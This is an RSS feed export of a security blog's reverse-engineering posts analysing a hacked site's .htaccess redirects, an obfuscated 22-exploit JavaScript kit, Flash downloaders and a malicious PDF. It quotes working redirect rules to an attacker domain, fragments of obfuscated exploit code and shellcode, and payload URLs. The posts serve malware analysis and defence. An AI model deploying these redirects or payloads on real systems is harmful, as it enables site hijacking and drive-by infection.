<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Andrew Martin &#187; Reverse Engineering</title>
	<atom:link href="http://www.martinsecurity.net/category/reverse-engineering/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.martinsecurity.net</link>
	<description>Viewing InfoSec from the trenches (formerly Real Security)</description>
	<lastBuildDate>Fri, 18 Dec 2009 19:29:17 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Nine-Ball followup now with video! Part 2</title>
		<link>http://www.martinsecurity.net/2009/07/29/nine-ball-followup-now-with-video-part-2/</link>
		<comments>http://www.martinsecurity.net/2009/07/29/nine-ball-followup-now-with-video-part-2/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 23:01:35 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Malware Binaries (exe/dll)]]></category>
		<category><![CDATA[Malware scripts and other formats]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[malzilla]]></category>
		<category><![CDATA[nineball]]></category>
		<category><![CDATA[silentbanker]]></category>
		<category><![CDATA[tedroo]]></category>

		<guid isPermaLink="false">http://www.martinsecurity.net/?p=371</guid>
		<description><![CDATA[As a follow up to my previous post, here is the next video depicting the second portion of the attack. For URLs, Virustotal results, etc refer back to Part 1. All analysis is conducted with Malzilla.

To give you some additional insight into the attack, I am also able to share the contents of a hacked [...]]]></description>
			<content:encoded><![CDATA[<p>As a follow up to my previous post, here is the next video depicting the second portion of the attack. For URLs, Virustotal results, etc refer back to <a href="http://www.martinsecurity.net/2009/07/28/nine-ball-followup-part-1/" target="_blank">Part 1</a>. All analysis is conducted with Malzilla.</p>
<p><!-- Smart Youtube --><span class="youtube"><object width="480" height="360"><param name="movie" value="http://www.youtube.com/v/DNx9iMcRAQg&amp;rel=0&amp;color1=d6d6d6&amp;color2=f0f0f0&amp;border=0&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;ap=%2526fmt%3D18" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/DNx9iMcRAQg&amp;rel=0&amp;color1=d6d6d6&amp;color2=f0f0f0&amp;border=0&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;ap=%2526fmt%3D18" type="application/x-shockwave-flash" allowfullscreen="true" width="480" height="360" ></embed><param name="wmode" value="transparent" /></object></span><a href="http://www.youtube.com/watch?v=DNx9iMcRAQg&fmt=18"><img src="http://img.youtube.com/vi/DNx9iMcRAQg/default.jpg" width="130" height="97" border=0></a></p>
<p>To give you some additional insight into the attack, I am also able to share the contents of a hacked server&#8217;s .htaccess file. The miscreants upload this file to automatically redirect visitors to a site under their control.</p>
<p>These lines will redirect all requests for 400,401,403,404 and 500 pages to ake.kz, the attacker controlled site.</p>
<p>ErrorDocument 400 http://ake.kz/in.cgi?8<br />
ErrorDocument 401 http://ake.kz/in.cgi?8<br />
ErrorDocument 403 http://ake.kz/in.cgi?8<br />
ErrorDocument 404 http://ake.kz/in.cgi?8<br />
ErrorDocument 500 http://ake.kz/in.cgi?8</p>
<p>The following entries check to see if a user has been referred to the compromised website by a search engine. If they have, they will be automatically forwarded on to the attacker&#8217;s site, ake.kz</p>
<p>RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*google.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*excite.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*goto.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*search.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*bing.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*dogpile.*<br />
RewriteRule ^(.*)$ http://ake.kz/in.cgi?7 [R=301,L]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2009/07/29/nine-ball-followup-now-with-video-part-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nine-Ball followup now with video! Part 1</title>
		<link>http://www.martinsecurity.net/2009/07/28/nine-ball-followup-part-1/</link>
		<comments>http://www.martinsecurity.net/2009/07/28/nine-ball-followup-part-1/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 22:24:07 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Malware Binaries (exe/dll)]]></category>
		<category><![CDATA[Malware scripts and other formats]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[banking trojan]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[malzilla]]></category>
		<category><![CDATA[nineball]]></category>
		<category><![CDATA[silentbanker]]></category>
		<category><![CDATA[spambot]]></category>

		<guid isPermaLink="false">http://www.martinsecurity.net/?p=353</guid>
		<description><![CDATA[A reader was gracious enough to share some information with me on the events surrounding the compromise of a website of his. The site was compromised via stolen FTP credentials which has been a technique  employed by major Internet threats such as Gumblar and Nine-ball recently. This will be a two part post.
Lets take [...]]]></description>
			<content:encoded><![CDATA[<p>A reader was gracious enough to share some information with me on the events surrounding the compromise of a website of his. The site was compromised via stolen FTP credentials which has been a technique  employed by major Internet threats such as Gumblar and Nine-ball recently. This will be a two part post.</p>
<p>Lets take a look at what happens to the victim webserver after it gets compromised and the malware involved. To make this post more interesting I&#8217;ve decided to deliver my analysis via video! Rather than the standard nerve grating rock music that people tend to add to videos like this I have opted for my genre of choice, electronic <img src='http://www.martinsecurity.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . I&#8217;ve included virus total results, domains involved, etc at the end of the post.</p>
<p>Sit back, relax and enjoy the ride.</p>
<p><!-- Smart Youtube --><span class="youtube"><object width="480" height="360"><param name="movie" value="http://www.youtube.com/v/9HdA1lC2PWM&amp;rel=0&amp;color1=d6d6d6&amp;color2=f0f0f0&amp;border=0&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;ap=%2526fmt%3D22" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/9HdA1lC2PWM&amp;rel=0&amp;color1=d6d6d6&amp;color2=f0f0f0&amp;border=0&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;ap=%2526fmt%3D22" type="application/x-shockwave-flash" allowfullscreen="true" width="480" height="360" ></embed><param name="wmode" value="transparent" /></object></span><a href="http://www.youtube.com/watch?v=9HdA1lC2PWM&fmt=18"><img src="http://img.youtube.com/vi/9HdA1lC2PWM/default.jpg" width="130" height="97" border=0></a></p>
<p>Domains / URLs involved:</p>
<p>71speed.info<br />
xbx.tw/in.cgi?6<br />
xbx.tw/in.cgi?3<br />
zyejanag.cn/rf/<br />
fvuligir.cn/s/in.cgi?11<br />
84.244.138.58/ts/in.cgi?chtr&amp;5f9d90<br />
esli.tw/load.php?e=1<br />
esli.tw/2/index.php<br />
esli.tw/show.php?s=18f8bc6e98</p>
<p>Exploits Used:</p>
<p>MDAC -- MS06-014<br />
Adobe Acroat -- CVE-2008-2992 &amp; CVE-2009-0927<br />
Adobe Flash Player (not sure which one)<br />
Microsoft DirectShow &amp; Office Web Components zero days<br />
Microsoft Snapshot Viewer MS08-041</p>
<p><a title="virustotal" href="http://www.virustotal.com/analisis/24c8ecc77dff561aaff74b1e4f7aed70aac6ef5c15fa4bbdf0e7000b0c0dadbf-1248735684" target="_blank">Virustotal Payload 1</a> &amp; <a title="threatexpert" href="http://www.threatexpert.com/report.aspx?md5=bd7c8e3151af1236035c1d7c22b78347" target="_blank">ThreatExpert Payload 1</a> -- SilentBanker -- Banking Trojan</p>
<p><a title="virustotal" href="http://www.virustotal.com/analisis/9c49899330c50b0a5fa709e70a8e73948cfd307881b9525256dfb800cdb86a30-1248813790" target="_blank">Virustotal Payload 2</a> &amp; <a title="threatexpert tedroo" href="http://www.threatexpert.com/report.aspx?md5=354f64c8daa3d12421cfb9f358b1843a" target="_blank">ThreatExpert Payload 2</a> -- Tedroo -- SpamBot</p>
<p><a title="wepawet" href="http://wepawet.cs.ucsb.edu/view.php?hash=4a1845cee23563ea96cdb367e491d668&amp;t=1248737159&amp;type=js" target="_blank">Wepawet PDF exploit</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2009/07/28/nine-ball-followup-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploit kit with 22 exploits and updated obfuscation techniques</title>
		<link>http://www.martinsecurity.net/2008/10/22/a-exploit-kit-with-22-exploits-and-new-obfuscation-techniques/</link>
		<comments>http://www.martinsecurity.net/2008/10/22/a-exploit-kit-with-22-exploits-and-new-obfuscation-techniques/#comments</comments>
		<pubDate>Wed, 22 Oct 2008 04:04:38 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Malware scripts and other formats]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[document.body.appendChild]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[obfuscation]]></category>

		<guid isPermaLink="false">http://realsecurity.wordpress.com/?p=128</guid>
		<description><![CDATA[While investigating an attack, I came across a piece of javascript that was quite unusual. Most javascript obfuscated malware uses custom &#8220;packers&#8221; if you will to mangle the actual code that performs the attack. This code must become &#8220;unpacked&#8221; at some point to be interpreted by the web browser. Simply looking for document.write or eval [...]]]></description>
			<content:encoded><![CDATA[<p>While investigating an attack, I came across a piece of javascript that was quite unusual. Most javascript obfuscated malware uses custom &#8220;packers&#8221; if you will to mangle the actual code that performs the attack. This code must become &#8220;unpacked&#8221; at some point to be interpreted by the web browser. Simply looking for document.write or eval in a piece of javascript usually indicate the point where the code becomes readable. There are many different techniques for decoding these types of obfuscation.</p>
<p>At first glance, the sample I obtained today had neither document.write or eval. Not knowing what I was up against, I decided to debug the script in firebug. The script was wrapped as a single line of text which you can&#8217;t set individual breakpoints on. Thankfully, malzilla has a great code beautifying feature which came in handy. After formatting the code and loading it up in firebug, I noticed an unusual function being called, document.body.appendChild.</p>
<p><code>var PULksjC=document.createElement("script");<br />
PULksjC.type="text/javascript";<br />
PULksjC.text=AVlWGTj;<br />
document.body.appendChild(PULksjC);</code></p>
<p>A quick read of <a href="http://msdn.microsoft.com/en-us/library/ms535934.aspx">this MSDN page </a> and it&#8217;s easy to understand that this code is appending the contents of the AVlWGTj variable into the body tag of the current document. I&#8217;ve cut out most of the junk text, however there are a couple readable lines that appear to be setting up another javascript tag to be appended into the current document.</p>
<p>To get the contents of AVlWGTj, simply set a breakpoint on the corresponding line in Firebug.</p>
<p>After the unpacking routine, the variable contains&#8230;. more encoded text of course!</p>
<p><code> var loqxkPWh=document.createElement("script");<br />
loqxkPWh.type="text/javascript";<br />
loqxkPWh.text=mjTBHaN;<br />
document.body.appendChild(loqxkPWh);</code></p>
<p>The same technique is used a second time, this time the unpacked code will be contained in mjTBHaN.</p>
<p>After copying out the code a second time, we are left with something more familiar.</p>
<p><code>function Ze399gTPLj(dlqiZX2l)<br />
.....<br />
return(zPZh3GW0Ng);<br />
......<br />
eval(Ze399gTPLj(kApgf4zk));</code></p>
<p>Finally an eval statement! At this point you could use the more common alert, textarea or spidermonkey techniques however I just continued in the debugger. Eval is called against the function Ze399gTPLj, so to get the fully unpacked code without executing the evil script, we must put a breakpoint on the return function within Ze399gTPLj.</p>
<p>Once the breakpoint on return(zPZh3GW0Ng); is hit, the code is finally fully unpacked.</p>
<p>The resulting unpacked code is astounding. There are no less than 22 exploits included in this piece of malware (21 active)!!!</p>
<p><code>if ( alert("1") ||<br />
mdac() ||<br />
dl() ||<br />
flash() ||<br />
pdf() ||<br />
wme() ||<br />
wfi() ||<br />
com() ||<br />
ya1() ||<br />
ya2() ||<br />
fb() ||<br />
mdss() ||<br />
creative() ||<br />
wks() ||<br />
ogame() ||<br />
ca() ||<br />
buddy() ||<br />
gomweb() ||<br />
xmlcore() ||<br />
quick() ||<br />
real() ||<br />
ntaudio()</code></p>
<p>Here are the exploits:</p>
<p>MDAC &#8211; MS06-014<br />
Sina DLoader Class ActiveX Control &#8216;DonwloadAndInstall&#8217; Method Arbitrary File Download Vulnerability<br />
Adobe Flash Player (don&#8217;t have the CVE at the moment)<br />
Adobe Acrobat collab.CollabEmailInfo CVE-2007-5659<br />
Microsoft Media Encoder &#8211; MS08-053<br />
WebViewFolder setSlice &#8211; MS06-057<br />
CreateControlRange &#8211; MS05-014<br />
Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit x2<br />
Facebook / Myspace &#8211; Aurigma ImageUploader ActiveX control stack buffer overflows CVE-2008-0660<br />
Microsoft Speech API ActiveX controls contain buffer overflows CVE-2007-2222<br />
Creative Software AutoUpdate Engine ActiveX Vulnerability CVE-2008-0955<br />
Microsoft Works 7 &#8216;WkImgSrv.dll&#8217; ActiveX Control Remote Code CVE-2008-1898<br />
Ourgame GLWorld GLIEDown2.dll ActiveX Control Vulnerabilities &#8211; 0day<br />
CA BrightStor &#8216;AddColumn()&#8217; ListCtrl.ocx ActiveX Control Buffer Overflow Vulnerability<br />
AOL SB.SuperBuddy.1 ActiveX Control Remote Code Execution Vulnerability CVE-2006-5820<br />
Gretech GOM Player GomWeb3.DLL Remote Buffer Overflow Vulnerability CVE-2007-5779<br />
Microsoft XML Core Services &#8211; MS06-071<br />
Apple QuickTime RTSP Response Header Content-Type Remote Stack Based Buffer Overflow Vulnerability CVE-2007-6166<br />
RealNetworks RealPlayer ActiveX controls property heap memory corruption CVE-2008-1309<br />
Online Media Technologies NCTsoft NCTAudioFile2 ActiveX buffer overflow CVE-2007-0018<br />
Microsoft Access Snapshot Viewer ActiveX Vulnerability MS08-041 (multi language support)</p>
<p>Notice how the attacker included alert(&#8221;1&#8243;) in their code? That may try to prevent automated analysis by requiring user input to actually execute the exploits.</p>
<p>We have learned that:</p>
<p>Malware authors are using document.body.appendChild to add another layer of code obfuscation<br />
The days of exploitation kits using a relatively small number of exploits may be numbered<br />
This code included a mind blowing 22 exploits for all manor of applications<br />
Attackers are continuing to investigate ways of foiling automated analysis via javascript</p>
<p>I&#8217;ll post a couple more details when I have a chance.</p>
<p><strong>*Update*</strong></p>
<p>The site that begins the attack is hxxp://85.17.166.230/counter/singletrip.php, this page generates a unique ID for each infection and forwards the user onto the next hop.</p>
<p>Exploits: hxxp://85.17.166.231/gtest2/index.php?sid=[36 character ID]</p>
<p>Redirect hxxp://85.17.166.231/gtest2/load.php?id=0&amp;sid=[36 character ID]</p>
<p>Payload hxxp://193.33.61.160/cntr.exe?sid=[36 character ID]</p>
<p><strong>Virus Total Results</strong></p>
<p><a href="http://www.virustotal.com/analisis/4d57a3334fe5c403086b63279ca8a25f" target="_blank">Main exploit script 0/36 detections</a></p>
<p><a href="http://www.virustotal.com/analisis/c09622c52e2ba2deeec538c595183a82" target="_blank">Payload 9/36 detections</a></p>
<p><a href="http://www.virustotal.com/analisis/88e9750e21406da0f0c68b7efb20ba53" target="_blank">Flash player exploit 8/36 detections</a></p>
<p><a href="http://www.virustotal.com/analisis/da5c16144b26eb325de64600abc5dae3" target="_blank">Adobe Acrobat PDF exploit 9/36 detections</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2008/10/22/a-exploit-kit-with-22-exploits-and-new-obfuscation-techniques/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Flash malware &#8211; downloaders and exploit</title>
		<link>http://www.martinsecurity.net/2008/09/21/flash-malware-downloaders-and-exploit/</link>
		<comments>http://www.martinsecurity.net/2008/09/21/flash-malware-downloaders-and-exploit/#comments</comments>
		<pubDate>Sun, 21 Sep 2008 20:14:05 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Malware scripts and other formats]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[downloaders]]></category>
		<category><![CDATA[flash]]></category>

		<guid isPermaLink="false">http://realsecurity.wordpress.com/?p=122</guid>
		<description><![CDATA[Watching a recent SANS webcast by Lenny Zeltser peaked my curiosity in flash based malware. I decided to have a closer look at some flash based malware which I had collected to try and gain some more insight into how to analyze it. I&#8217;ll cover 3 samples and what I was able to find out [...]]]></description>
			<content:encoded><![CDATA[<p>Watching a recent <a href="http://sans.org/">SANS</a> webcast by <a href="http://www.zeltser.com/">Lenny Zeltser</a> peaked my curiosity in flash based malware. I decided to have a closer look at some flash based malware which I had collected to try and gain some more insight into how to analyze it. I&#8217;ll cover 3 samples and what I was able to find out about them.</p>
<p>Generally, flash malware is pretty challenging to analyze. The tools that are available are not as mature as their executable or javascript cousins. I had to use a variety of tools, some free, some commercial. Analyzing a flash file statically involves dissasembling the swf and/or dumping it&#8217;s contents using swfdump. It is also possible to do some additional analysis using the debugger built into Adobe Flash CS3 (30 day trial version available).</p>
<p><strong>Analysis difficulties</strong></p>
<p>Most flash malware is written using action script 8 or 9. Many free tools will work with one version or the other, but not both. I opted for a commercial tool (swf decompiler) so as not to worry about this issue. Due to the way the malware is written many tools do not produce an accurate disassembly. The CS3 debugger was unable to handle the files I threw at it because of the way they were written.</p>
<p>Please keep in mind that many flash analysis tools are not specifically meant to handle malware. <strong>Many flash tools will automatically play the swf movie once you load it</strong>. Analysis should be done in a VM with the network card disabled.</p>
<p><strong>Tools</strong></p>
<p><a href="http://www.swftools.org/">swftools (swfdump)</a><br />
<a href="http://www.sothink.com/product/flashdecompiler/">Sothink SWF Decompiler</a><br />
<a href="http://www.adobe.com/products/flash/">Adobe Flash CS3</a></p>
<p><strong>4562.swf </strong><br />
MD5 &#8211; 77AEB0248AD3BBD7B0CA5CFBEBEEEC05<br />
<a href="http://www.virustotal.com/analisis/6e28898a8ad9b637f99403ec897a0d79">Virus total results</a></p>
<p>Our first sample is a downloader/redirector written in flash. Running swfdump on the file yields some great information. I found this sample at least a month or two ago, I&#8217;m surprised AV detection is still so terrible.</p>
<p>[HEADER]        File version: 8<br />
[HEADER]        File is zlib compressed. Ratio: 42%<br />
[HEADER]        File size: 1790<br />
[HEADER]        Frame count: 1<br />
[....]<br />
(   52 bytes) action: Constantpool(5 entries) String:&#8221;v&#8221; String:&#8221;/:$version&#8221; String:&#8221;http://www.seove.com.cn/&#8221; String:&#8221;f.swf&#8221; String:&#8221;_root&#8221;</p>
<p>This tells us the file uses flash 8 (action script 2), it has been compressed, is 1790 bytes and contains one frame (movie frame). It is pretty clear that the movie contacts seove.com.cn to download additional content, but how is the URL put together?</p>
<p>First, the swf must be dumped into fla format for analysis. Once decompiled we can import into CS3 and debug. The problem however is that the debugger throws a few errors relating to the strange hex characters used in the script \x01 \x02 \x04 \x05. These characters are not printable, see <a href="http://www.asciitable.com/">this ascii chart for details</a>. The debugger does show us the contents of the $version variable however which is the key to the puzzle.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/flash2.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/r_flash2.jpg" alt="1" /></a></p>
<p>Since the debugger won&#8217;t work, we can use another technique. The flash player has a option called &#8220;simulate download&#8221; which will cause the movie to run. The output window in CS3 returns on the full URL that it is trying to connect to!</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/flash3.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/r_flash3.jpg" alt="1" /></a></p>
<p><strong>ie.swf</strong><br />
MD5 &#8211; 2A757228062D69539086F4E72883083A<br />
<a href="http://www.virustotal.com/analisis/7a080e38292bd5bfbb96cd54196a3704">Virus total results</a></p>
<p>This is a new sample from a few days ago. It is used as a downloader/redirector as well. AV detection is non existent.</p>
<p>[HEADER]        File version: 9<br />
[HEADER]        File size: 142<br />
[HEADER]        Frame count: 1<br />
[....]<br />
[00c]        97 DOACTION<br />
                 (    2 bytes) action: Jump 44<br />
                 (    0 bytes) action: BitLShift<br />
                 (    0 bytes) action: unknown[02]<br />
                 (    0 bytes) action: End<br />
                -=&gt; 99 02 00 2c 00 63 02 00 00 00 96 04 00 08 00 08     ™..,.c&#8230;.–&#8230;..<br />
                -=&gt; 01 1c 3c 96 02 00 08 00 1c 96 02 00 08 02 47 96     .. 02 00 08 03 1c 9a 01 00 40 07 00 00 63 02 00 fc     &#8230;..š..@&#8230;c..ü<br />
                -=&gt; ff 88 28 00 04 00 66 6c 61 73 68 63 63 56 65 72     ÿˆ(&#8230;flashccVer<br />
                -=&gt; 73 69 6f 6e 00 2f 3a 24 76 65 72 73 69 6f 6e 00     sion./:$version.<br />
                -=&gt; 69 2e 73 77 66 00 5f 72 6f 6f 74 00 99 02 00 a9     i.swf._root.™..©</p>
<p>This is a much more compact sample, only 142 bytes in size and uses Flash 9 (action script 3). SWF decompiler did not produce a detailed enough disassembly of this file, so I could only use the simulate download method on it. Again, this uses $version and references &#8220;flashcc&#8221;.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/flash1.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/r_flash1.jpg" alt="1" /></a></p>
<p>This time the malware doesn&#8217;t give us the full URL in the output window, but is good enough to lead us to the next file. Just do a search for a flashcc domain and append the rest of the URL.</p>
<p><strong>i47.swf</strong><br />
md5 &#8211; 91428BA59E7234267DA42F9B93F00851<br />
<a href="http://www.virustotal.com/analisis/cb4fe2045706b73b88ebb3c9c6e3c715">Virus total results</a></p>
<p>Our last sample is an exploit for CVE-2007-0071. A great analysis of this exploit is <a href="http://zarestel.blogspot.com/2008/06/swf-exploit-cve-2007-0071.html">covered by Zarestel</a>. Debugging this sample wasn&#8217;t possible as it crashed CS3. Only swfdump provided good information.</p>
<p>==== Error: Real Filesize (1664) doesn&#8217;t match header Filesize (1544) ====<br />
[HEADER]        File version: 9<br />
[HEADER]        File size: 1544<br />
[HEADER]        Frame count: 771<br />
[....]<br />
                -=&gt; 5e b2 5e 00 68 74 74 70 3a 2f 2f 73 64 66 73 64     ^²^.http://sdfsd<br />
                -=&gt; 33 33 2e 63 6e 2f 78 7a 2f 78 2e 65 78 65 00 00     33.cn/xz/x.exe..<br />
[....]<br />
                -=&gt; 74 74 74 74 74 74 74 74 74 74 74 63 73 61 66 65     tttttttttttcsafe<br />
                -=&gt; 79 75 74 69 61 6e 51 51 3a 35 33 36 36 37 37 37     yutianQQ:5366XXXX<br />
                -=&gt; 74 74 74 74                                                       tttt</p>
<p>The next stage payload is easily visible here. Also, the malware author is kind enough to leave their QQ contact number at the end of the file.</p>
<p>Happy hunting!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2008/09/21/flash-malware-downloaders-and-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analyzing a malicious pdf &#8211; Troj/PDFJs-A</title>
		<link>http://www.martinsecurity.net/2008/09/04/analyzing-a-malicious-pdf-trojpdfjs-a/</link>
		<comments>http://www.martinsecurity.net/2008/09/04/analyzing-a-malicious-pdf-trojpdfjs-a/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 03:08:30 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Malware Binaries (exe/dll)]]></category>
		<category><![CDATA[Malware scripts and other formats]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://realsecurity.wordpress.com/?p=103</guid>
		<description><![CDATA[I picked up a copy of a malicious pdf a week or so ago that was trying to infected a workstation. Lets crack it open and see what&#8217;s inside.
Virus Total
MD5: bccb814a5bcba72be31cdaf4e8805a7b
Filename: pdf.pdf
Simply running the file command on the pdf returns the following: pdf.pdf: PDF document, version 1.4
Running strings on pdf.pdf returns a few interesting pieces [...]]]></description>
			<content:encoded><![CDATA[<p>I picked up a copy of a malicious pdf a week or so ago that was trying to infected a workstation. Lets crack it open and see what&#8217;s inside.</p>
<p><a href="http://www.virustotal.com/analisis/c222ed5325cd807a14560d62acd4ec85">Virus Total</a></p>
<p>MD5: bccb814a5bcba72be31cdaf4e8805a7b<br />
Filename: pdf.pdf</p>
<p>Simply running the file command on the pdf returns the following: pdf.pdf: PDF document, version 1.4</p>
<p>Running strings on pdf.pdf returns a few interesting pieces of information:</p>
<p>/Creator (Scribus 1.3.3.12) &#8212; The application used to publish the PDF<br />
/Producer (Scribus PDF Library 1.3.3.12)<br />
/CreationDate (D:20080815213135) &#8212; Creation date of document<br />
/ModDate (D:20080815213135)<br />
/Filter /FlateDecode &#8212; a method for compressing the pdf<br />
/JavaScript &#8212; self explanatory, the pdf seems to have javascript in it</p>
<p>Knowing that the pdf is compressed, we can uncompress it with pdftk using the following:</p>
<p><code>pdftk pdf.pdf output pdf.output uncompress</code></p>
<p>With the file uncompressed, running strings on it again will yield some additional data:</p>
<p><code>function kgvy(zrb){var mpgs="";for(zviz=0;zviz&lt;zrb.length;zviz+=2){mpgs+=(String.fromCharCode(parseInt(zrb.substr(zviz,2),16)));}eval(mpgs);}[truncated]</code></p>
<p>This is some obfuscated javascript that should be easy to make into readable text using spidermonkey.</p>
<p>Change the eval method to print and execute the script with SM. This will execute the javascript and print out the script in it&#8217;s readable format.</p>
<p><code>function ooyS1YUR()<br />
{<br />
var jKts_E9h = 0x0c0c0c0c;<br />
var i0a7eJNL = unescape(%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33 +<br />
%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%[truncated]</code></p>
<p>The code above contains the beginnings of some shell code which is recognizable by %u????. Further down in the javascript there is a function called Collab.collectEmailInfo. Some quick google searches will tell us that there is an exploit that takes advantage of this. See <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659">CVE-2007-5659</a>.</p>
<p>Now that we have the shellcode we can very easily find out what it&#8217;s doing. First we must get rid of all the concatenating characters &#8221; + &#8220;. Using a find and replace function in a text editor is an easy way to accomplishing this.</p>
<p>With the shellcode in a readable format, send it to <a href="http://sandsprite.com/shellcode_2_exe.php">shellcode 2 exe</a>. We now have a .exe as output.</p>
<p>Simply running strings on the new exe shows the URL of the next stage malware:</p>
<p><code>CCCC<br />
d*l/<br />
hxxp://aolpound.com/z9QCkGo7/exe.php<br />
Ws2_32.dll<br />
WSAStartup</code></p>
<p>Since I&#8217;m the curious type, I&#8217;d like to know <strong>how</strong> this second stage malware is downloaded by the shellcode. Strings only showed 1 dll being referenced by the shellcode, this is very strange. More dlls are required to download and execute this file from aolpound.com.</p>
<p>Running the shellcode in olly makes this quite easy, simply stepping through the program we encounter a series of calls to locations in memory that are dynamically populated. This is done to evade AV detection as AV vendors look for suspicious API calls to flag a file as suspicious with heuristics. Since these APIs are called at runtime, the malware is much more stealthy.</p>
<p>For brevity I have only included the particularly interesting stack contents.</p>
<p><a href="http://realsecurity.wordpress.com/2008/09/04/analyzing-a-malicious-pdf-trojpdfjs-a/attachment/11/" rel="attachment wp-att-105"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/11.jpg" alt="" width="426" height="108" class="alignnone size-full wp-image-105" /></a></p>
<p>Now things are much clearer, the shellcode will download the file using URLDownloadToFile from urlmon.dll, execute it with WinExec from kernel32.dll and then probably delete itself using DeleteFile.</p>
<p>For more pdf decoding techniques, <a href="https://isc.incidents.org/diary.html?storyid=4726">check out this article by Maarten Van Horenbeeck of the SANS Storm Center.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2008/09/04/analyzing-a-malicious-pdf-trojpdfjs-a/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti analysis tricks in Trojan-Downloader.Win32.Agent.abti</title>
		<link>http://www.martinsecurity.net/2008/09/01/anti-analysis-tricks-in-trojan-downloaderwin32agentabti/</link>
		<comments>http://www.martinsecurity.net/2008/09/01/anti-analysis-tricks-in-trojan-downloaderwin32agentabti/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 04:48:21 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
